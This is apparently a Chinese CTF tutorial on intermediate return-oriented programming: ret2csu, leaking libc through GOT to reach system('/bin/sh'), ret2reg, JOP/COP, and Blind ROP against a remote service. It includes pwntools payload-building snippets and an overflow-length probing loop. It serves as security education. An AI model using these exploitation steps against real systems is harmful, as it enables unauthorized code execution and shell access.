中阶ROP链
上一篇介绍了最基础的 ROP。
从:
ret2text
ret2shellcode
ret2syscall
开始,我们已经知道 ROP 最核心的事情其实就是:
控制栈
↓
控制返回地址
↓
寻找 gadget
↓
控制程序执行流程
但是前面的例子都有一个共同特点:
条件比较理想。
我们能够找到想要的 gadget,能够知道程序文件,也能够直接观察程序结构。
真正做题的时候,经常不会这么顺利。
例如在 64 位程序中,我们可能根本找不到:
pop rdx
ret
这样的 gadget。
又或者:
没有程序文件
只有一个远程服务
这时候就需要稍微复杂一点的 ROP 技巧。
x64 参数传递
进入 ret2csu 之前,先看一下 32 位和 64 位程序之间一个非常重要的区别。
32 位程序调用函数时,参数通常通过栈进行传递。
例如:
write(fd, buf, size);
在 32 位环境中,可以通过在栈上按照调用约定排列参数完成调用。
而在 Linux x86-64 中,函数前几个参数主要通过寄存器传递。
常见顺序为:
第1个参数 -> rdi
第2个参数 -> rsi
第3个参数 -> rdx
第4个参数 -> rcx
第5个参数 -> r8
第6个参数 -> r9
因此,如果我们希望通过 ROP 执行:
write(1, buf, 8);
最直接的想法就是寻找:
pop rdi
ret
pop rsi
ret
pop rdx
ret
然后分别控制三个寄存器。
问题是:
gadget 不一定会按照我们希望的方式存在。
尤其:
pop rdx
ret
经常不好找。
这时候就可以考虑 ret2csu。
ret2csu
__libc_csu_init
一般使用 GCC 编译的 64 位 ELF 程序中,可以找到:
__libc_csu_init
这个函数。
它原本并不是为了 ROP 准备的,而是程序启动过程中用于完成初始化工作的代码。
但是它里面通常恰好存在一些非常适合利用的指令。
不同编译器和版本生成出来的具体地址会不同,因此实际做题时应该以目标程序反汇编结果为准。
典型情况下,我们能够找到类似下面的两个 gadget。
第一个 gadget:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
它一次可以控制:
rbx
rbp
r12
r13
r14
r15
第二段代码则可能包含类似:
mov rdx, r15
mov rsi, r14
mov edi, r13d
call qword ptr [r12 + rbx*8]
也就是说,只要合理控制:
r13
r14
r15
就可以间接控制:
rdi
rsi
rdx
三个参数寄存器。
这就是 ret2csu 的关键。
利用思路
假设程序存在:
read(0, buf, 0x100);
并且存在栈溢出。
我们希望利用 ROP 再调用一次:
read(0, bss_addr, 8);
把:
/bin/sh\x00
写入 .bss。
那么需要:
rdi = 0
rsi = bss_addr
rdx = 8
通过 CSU gadget,可以将:
r13 = 0
r14 = bss_addr
r15 = 8
然后经过:
mov rdx, r15
mov rsi, r14
mov edi, r13d
得到:
rdi = 0
rsi = bss_addr
rdx = 8
再让:
r12
指向 read 对应的 GOT 表项。
这样:
call qword ptr [r12 + rbx*8]
就能够调用:
read(0, bss_addr, 8);
rbx 和 rbp
这里还需要处理:
rbx
rbp
因为 CSU 中通常存在循环逻辑。
例如:
add rbx, 1
cmp rbp, rbx
jne ...
如果不处理好,程序执行一次 call 后可能又跳回去继续循环。
最简单的方法通常是令:
rbx = 0
rbp = 1
这样执行完一次:
add rbx, 1
以后:
rbx = 1
rbp = 1
比较成立,于是退出循环。
所以典型参数布局可以理解成:
rbx = 0
rbp = 1
r12 = function_got
r13 = arg1
r14 = arg2
r15 = arg3
构造 CSU 链
假设通过反汇编得到:
csu_pop = 0x40089A
csu_call = 0x400880
这里地址只是示例,实际程序必须重新分析。
可以写一个辅助函数:
def csu_call(func, arg1, arg2, arg3, next_addr):
payload = p64(csu_pop)
payload += p64(0)
payload += p64(1)
payload += p64(func)
payload += p64(arg1)
payload += p64(arg2)
payload += p64(arg3)
payload += p64(csu_call)
# 根据实际 __libc_csu_init 尾部结构补齐栈
payload += p64(0) * 7
payload += p64(next_addr)
return payload
例如调用:
read(0, bss_addr, 8);
可以构造:
payload += csu_call(
read_got,
0,
bss_addr,
8,
main_addr
)
然后发送:
sh.send('/bin/sh\x00')
这里最重要的并不是死记某个固定模板。
因为不同程序:
__libc_csu_init
里的汇编结构可能不同。
应该真正理解:
pop 一批寄存器
↓
通过 mov 转移到参数寄存器
↓
间接 call
↓
处理循环和栈平衡
这才是 ret2csu。
泄露 libc
ret2csu 很多时候并不会单独使用。
一个更加实际的思路是:
栈溢出
↓
ret2csu
↓
调用 write / puts
↓
泄露 GOT
↓
得到 libc 地址
↓
计算 libc_base
↓
计算 system 和 /bin/sh
↓
第二阶段 ROP
例如已知:
puts@got
可以让程序执行:
puts(puts_got);
泄露运行时的 puts 地址。
得到:
puts_addr
以后:
libc_base = puts_addr - libc.symbols['puts']
然后:
system_addr = libc_base + libc.symbols['system']
再寻找:
/bin/sh
对应偏移:
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
最终第二次发送:
padding
+
pop rdi ; ret
+
binsh_addr
+
system_addr
执行:
system("/bin/sh");
这里其实已经从:
找一个固定地址
变成:
先泄露运行时信息,再计算真正地址。
这是 ROP 从基础到进阶非常关键的一步。
ret2reg
ret2reg 的思路相对简单。
有时候程序发生栈溢出以后,某个寄存器恰好还指向:
我们输入的数据
例如返回之前:
rax
rdi
rsp
或其他寄存器可能指向缓冲区。
那么我们不一定需要知道缓冲区的绝对地址。
如果程序存在:
jmp rax
或者:
call rax
之类的指令,就可以:
shellcode 写入缓冲区
↓
寄存器指向缓冲区
↓
覆盖返回地址
↓
jmp reg / call reg
↓
执行 shellcode
基本步骤就是:
- 动态调试程序;
- 检查发生溢出的函数返回时有哪些寄存器仍然指向输入区域;
- 在程序中搜索对应的
jmp reg或call reg; - 将返回地址修改为该指令;
- 让程序最终跳到输入缓冲区。
例如:
jmp rax
对应:
ret
↓
jmp rax
↓
rax 所指向的数据
↓
shellcode
当然前提仍然是:
shellcode 所在区域必须能够执行。
如果 NX 已经开启,这种最直接的方式通常就不可用了。
JOP
ROP 的核心通常是:
ret
不断从栈中取下一条地址。
但是理论上,并不是只有 ret 才可以改变程序控制流。
还可以使用:
jmp
进行类似的代码片段拼接。
这种方式称为:
JOP
Jump-Oriented Programming
它不再依赖大量:
ret
而是利用:
jmp reg
jmp [reg]
等跳转指令连接 gadgets。
思想仍然类似:
控制数据
↓
控制寄存器
↓
不断跳转到新的 gadget
↓
组成新的执行逻辑
只是调度 gadget 的方式发生了变化。
COP
类似的还有:
COP
Call-Oriented Programming
也就是使用:
call
作为主要控制转移方式。
所以从大的角度看:
ROP -> ret
JOP -> jmp
COP -> call
它们本质上都属于:
利用程序原有代码片段重新组织程序执行逻辑。
实际 CTF 中最常见的仍然是 ROP。
JOP、COP 更多是帮助理解:
代码复用攻击并不一定只能围绕
ret展开。
BROP
接下来是一个比较有意思的东西:
BROP
Blind Return-Oriented Programming
即:
盲 ROP
前面的所有例子基本都有一个默认条件:
我们手里有目标二进制程序。
所以可以:
IDA
objdump
ROPgadget
checksec
直接分析。
但如果现在只有:
IP
+
端口
+
一个存在栈溢出的服务
却没有目标程序文件呢?
这时候就没办法直接:
ROPgadget --binary ./pwn
因为:
./pwn
根本不存在。
BROP 就是在这种条件下,通过不断观察远程程序:
正常返回
崩溃
保持连接
输出数据
等行为,逐渐推断程序内部结构。
BROP 的基本条件
BROP 最典型的利用场景一般要求:
- 服务存在可以控制程序执行流程的栈溢出;
- 程序崩溃以后服务能够重新启动;
- 每次重新启动后关键地址保持一致,或者至少能够重复利用已经推断出的状态;
- 攻击者可以反复建立连接并观察结果。
关键点在于:
可以不断试错
如果每次崩溃以后:
地址
Canary
程序状态
全部重新随机变化,那么盲猜的难度就会大很多。
第一步:确定溢出长度
没有程序文件,就无法直接用 IDA 看:
buffer
到底多大。
但是我们仍然可以不断增加输入长度。
例如:
from pwn import *
for length in range(1, 300):
sh = remote('127.0.0.1', 9999)
sh.sendline(b'A' * length)
try:
data = sh.recv(timeout=0.5)
print(length, 'alive')
except:
print(length, 'crash')
sh.close()
通过观察从哪个长度开始程序行为发生变化,可以逐渐估算:
buffer
↓
saved rbp
↓
return address
所在位置。
这其实就是:
把原本通过静态分析完成的工作,改成通过输入输出行为推断。
第二步:寻找 stop gadget
假设已经可以覆盖返回地址。
现在随便猜一个地址:
0x400000
通常结果就是:
crash
然后:
0x400001
0x400002
0x400003
...
不断测试。
问题是:
即使某个地址真的是一个有效 gadget,它执行完成以后仍然可能继续 ret 到垃圾地址,然后程序还是崩溃。
这样攻击者根本无法判断:
刚才那个地址到底是不是有效代码?
因此 BROP 中通常需要先找到一个:
stop gadget
它的作用不是完成攻击,而是让程序进入一种:
不会立即崩溃
的可观察状态。
例如:
重新等待输入
死循环
进入一个稳定函数
都可能充当这种标志。
于是 payload 可以变成:
padding
+
candidate gadget
+
stop gadget
如果:
candidate
是有效代码,并且最后成功执行到:
stop gadget
那么连接状态就和直接 crash 不一样。
这样就可以一点一点寻找可用 gadget。
第三步:寻找 BROP gadget
64 位程序中的:
__libc_csu_init
再次发挥作用。
因为它经常存在这样一串:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
对于 BROP 来说非常有价值。
如果盲目猜到这一段代码,就相当于一次获得了控制大量寄存器的能力。
可以通过构造不同数量的栈数据观察:
crash / 不 crash
行为,逐步判断候选地址到底是不是这种多 pop gadget。
所以 BROP 和 ret2csu 实际上存在很强的联系。
第四步:寻找 PLT
只找到 gadget 还不够。
我们最终需要让程序:
输出自己的内存
这样才能从:
blind
真正变成:
可以获得二进制数据
因此需要寻找:
puts@plt
或:
write@plt
之类的输出函数。
假设已经找到了:
pop rdi
ret
就可以不断测试候选函数地址:
padding
+
pop rdi
+
0x400000
+
candidate_plt
+
stop_gadget
如果某个候选地址执行以后输出了:
\x7fELF
那么事情就变得非常有意思了。
因为:
0x400000
往往是非 PIE ELF 程序的映射基址。
输出:
\x7fELF
意味着我们很可能成功调用了某个输出函数。
第五步:Dump 程序
一旦能够构造:
puts(address);
或者:
write(fd, address, size);
就可以不断修改:
address
从远程服务读取程序内存。
例如:
0x400000
0x400100
0x400200
...
逐段读取。
最终:
远程进程内存
↓
输出函数
↓
网络
↓
本地保存
↓
重新组成 ELF
这样,即使开始时:
没有 binary
也可能把目标程序逐渐 dump 回来。
然后就可以重新使用:
IDA
ROPgadget
readelf
objdump
分析。
这也是 BROP 最巧妙的地方之一。
BROP 的整体思路
整个过程可以概括成:
只有远程服务
↓
确定栈溢出长度
↓
寻找 stop gadget
↓
寻找 BROP gadget
↓
获得寄存器控制能力
↓
寻找 PLT
↓
寻找 puts / write
↓
泄露程序内存
↓
Dump ELF
↓
正常分析程序
↓
构造最终 ROP
所以 BROP 本质上做的是:
在没有二进制文件的情况下,把“程序是否崩溃”以及“程序输出了什么”本身当作信息源。
从初阶到中阶
如果说初阶 ROP 主要解决:
我已经有 gadget,怎么把它们拼起来?
那么中阶开始解决的是:
我找不到理想 gadget 怎么办?
于是有:
ret2csu
利用编译器留下的初始化代码控制寄存器。
又例如:
我不知道缓冲区地址怎么办?
可以考虑:
ret2reg
利用已有寄存器状态完成跳转。
再进一步:
是不是一定要使用 ret?
于是出现:
JOP
COP
最后:
连程序文件都没有怎么办?
就是:
BROP
到了这里,ROP 已经不再只是:
找几个
pop ; ret拼起来。
而逐渐变成:
利用程序在运行时留下的一切可观察状态,重新获得对执行流程的控制。
总结
中阶 ROP 主要可以整理成:
ret2csu
│
├── 利用 __libc_csu_init
├── 控制 rdi / rsi / rdx
└── 完成多参数函数调用
ret2reg
│
├── 利用现有寄存器
└── jmp reg / call reg
JOP / COP
│
├── jmp-oriented
└── call-oriented
BROP
│
├── 无 binary
├── 枚举溢出长度
├── stop gadget
├── BROP gadget
├── 找 PLT
├── 找输出函数
└── dump binary
从这里开始,再向上的 ROP 技术会涉及更加复杂的 ELF 动态链接机制、信号帧以及系统调用上下文。
例如:
ret2dlresolve
SROP 















这一切,似未曾拥有